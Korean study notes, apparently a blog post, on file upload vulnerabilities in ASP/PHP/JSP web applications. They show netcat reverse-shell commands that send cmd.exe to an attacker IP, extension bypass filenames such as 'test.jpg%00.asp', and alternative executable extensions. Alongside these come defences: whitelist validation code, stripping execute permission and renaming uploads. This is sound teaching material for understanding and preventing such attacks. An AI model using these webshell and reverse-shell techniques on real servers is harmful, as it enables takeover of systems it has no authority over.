file upload
자료실과 같은 사용자들의 업로드가 가능한 웹 애플리케이션
서버 사이드 언어로 작성된 webshell 업로드를 통한 서버 권한 탈취
업로드 되는 파일의 확장자 필터링이 되지 않을시
서버 사이드 언어 : jsp, php, asp
웹쉘 : 업로드 취약점을 통해서 시스템 명령을 내릴 수 있는 코드
보안시스템을 피하여 별도 인증없이 서버에 접근 가능
asp면 asp 웹쉘, jsp면 jsp 웹쉘...
-> 해당 사이트에 맞게끔 확장자를 확인한 후 공격 필요
서버측 - 파일 업로드 권한 설정
폴더 설정 ex. C:\Inetpub\wwwroot\board\pds\
netcat을 통한 리버스 텔넷
공격
nc.exe -l -p 8080(대기포트)
대상
nc.exe (서버에 업로드)
nc.exe -e cmd.exe 공격자IP 8080
c:\Inetpub\wwwroot\board\pds\nc.exe -e cmd.exe 공격자IP 8080
1. cmd.asp 웹서버에 업로드
2. nc.exe
3. http -> tcp를 사용 하지만 연결지향적 성격을 버렸다
-> 매번 절대경로를 입력해 주어야 함
4. 웹쉘 상에서 절대 경로 확인
-> dir c:\nc.exe /s /a
c:\Inetpub\wwwroot\board\pds 디렉터리 2014-11-06 01:23p 61,440 nc.exe 1개 파일 61,440 바이트 전체 파일: 1개 파일 61,440 바이트 0 디렉터리 6,747,512,832 바이트 남음
5.공격자 대기 상태
6. 대상의 위치에서 공격자가 미리 업로드한 웹쉘로 nc명령어를 실행 -> 리버스 텔넷
-> c:\Inetpub\wwwroot\board\pds\nc.exe -e cmd.exe 192.168.0.140 8080
---------------
# 웹쉘 실행 가능 확장자
ASP : cer, cdx, asa
-> 제어판 -> 관리도구 -> 인터넷 서비스 관리자
PHP : php3, html, htm
JSP : war
# 웹쉘 체크 로직
1. 확장자 체크
2. content type 체크
-> Content-Type: text/plain
test.jpg;.asp -> test.asp
test.jpg%00.asp -> test.asp
test.jpg%zz.asp -> test.asp
# 파일업로드 대응 방안
1. 업로드 폴더의 스크립트 실행 권한을 제거
제어판 -> 관리도구 -> 인터넷 서비스 관리자 -> 홈디렉터리 -> 실행권한 설정
2. 화이트 리스트 방식 허용
-> jpg, gif ....
3. 파일이름을 난수화(변경) 하여 저장
-> cmd.asp -> cmd.sdfdfs
4. 확장자를 강제로 변경시켜 저장
-> cmd.asp -> cmd.aspx / cmd.as
5. Database에 저장
-> 3,4,5 방식을 쓰되 2번도 함께 사용
------------------
참고 함수 (Instr, InstrRev, Mid, Left, Ucase)
Instr 함수 : 한 문자열 안에 특정 문자열이 (좌측에서 부터의 ) 처음으로 나타난 위치를 반환한다
InstrRev 함수 : 한 문자열 안에 특정 문자열이 (우측에서 부터의) 처음으로 나타난 위치를 변환한다
Left 함수 : 변수의 왼쪽부터 차례대로 지정한 개수 만큼 뽐아 올때 사용한다.
Lcase 함수 : 스트링에 있는 모든 문자들을 소문자로 변경하는 함수이다.
Ucase 함수 : 스트링에 있는 모든 문자들을 대문자로 변경하는 함수이다.
Instr, InstrRev, lef, mid, Lcase
-----------------------------------------------------------------------------
Dim name //변수 name선언
name = Mid(filename,InstrRev(filename,".")+1,3)
//name 변수에 내용 넣기, asp확장자 추출하여 저장
name = left(name,3)
name = Lcase(name)
If 0 < Instr(name,"bmp") then
elseif 0 < Instr(name,"gif") then
elseif 0 < Instr(name,"jpg") then // 화이트리스트 방식의 방어
else
Response.Write("<script>alert('not image file!')</script>")
Response.Write("<script>location.href('http://192.168.0.x/board/board_list.asp')</script>")
Response.end
End if
-> 우회를 해도 성공되지 않는 소스
--------------------------------
1. What
웹 해킹 방법 중 가장 영향력이 크고 쉬움
(매우 간단하면서 강력한 공격)
2. Why
해커의 근본적 목표 : 시스템 권한 탈취
FileUpload 취약점을 이용한 공격을 이용하여 시스템 권한 탈취가 쉽게 가능
3. Attack Test
웹 쉘이라는 파일이 있음
이 파일이 업로드가 가능하다면 웹 브라우저에서 쉘과 똑같이 사용이 가능함
넷캣(netcat; nc)의 리버스 텔넷을 이용하여 하면 웹 서버에서 쉘을 사용하는 것처럼 사용 가능
확장자를 서버 확장자(SSS) 방식으로 업로드 해야함
업로드가 성공한다면 제대로 돌아가는지 확인해야함
만약 해당 확장자는 업로드 불가능 한다고 하면 가장 먼저 해야 할 것은?
클라이언트에서 검증하는지를 확인
클라이언트에서 검증한다면 우회를 업로드 가능
서버에서 검증한다고 하면 다른 우회 방법을 살펴봐야 함
4. Impact
물리적으로 공인 아이피, 사설 아이피 나누어져 있어서 한번에 외부망에서 내부망 침투 불가능
파일 업로드 공격으로 서버 권한을 얻어서 공격이 가능
5. Security
파일 업로드는 복합적으로 보안해야 함
1) 업로드 폴더의 스크립트 실행 권한을 제거
업로드 되는 폴더에 쓰기 권한, 실행 권한을 없애면 업로드 되더라도 실행 불가
2) 화이트리스트 방식 허용
가장 핵심적인 보안 방안
jpg, bmp 등의 안전하다고 판단되는 확장자만 업로드 가능하도록 함
* 3, 4번은 국내 어플리케이션이 많이 사용함 (제로보드, 그누보드 등)
3) 파일 이름을 난수화 하여 저장
ex) cmd.asp -> 21jeojksaldjsklfjl 이런 식으로 해시값으로 저장됨
원래 파일명을 디비에 기재하고 누가 다운 받으려고 하면 디비에서 원래 값 참조해서 바꿈
아무 확장자가 없기 때문에 실행해도 아무 의미 없음
4) 확장자를 강제로 변경시켜 저장
ex) cmd.asp ->cmd.xaspx
앞 뒤로 특수한 영문을 넣는 등 어플리케이션의 기능을 못하도록 함
5) DB에 저장
파일 업로드할 때 웹 서버 하드디스크에 저장하지 않고, DB에 저장하는 방법
그러면 웹 서버에 저장하는 것보다 더 안전해짐
6) 물리적 분리
웹 서버와 파일 업로드하는 서버를 분리하여 파일 업로드를 이용한 공격으로 웹 서버에 침투하는 공격 방어
'Web' 카테고리의 다른 글
SQL Injection (0) | 2014.11.11 |
---|---|
file download (0) | 2014.11.10 |
CSRF (0) | 2014.11.05 |
CSRF (0) | 2014.11.04 |
advanced web (0) | 2014.10.30 |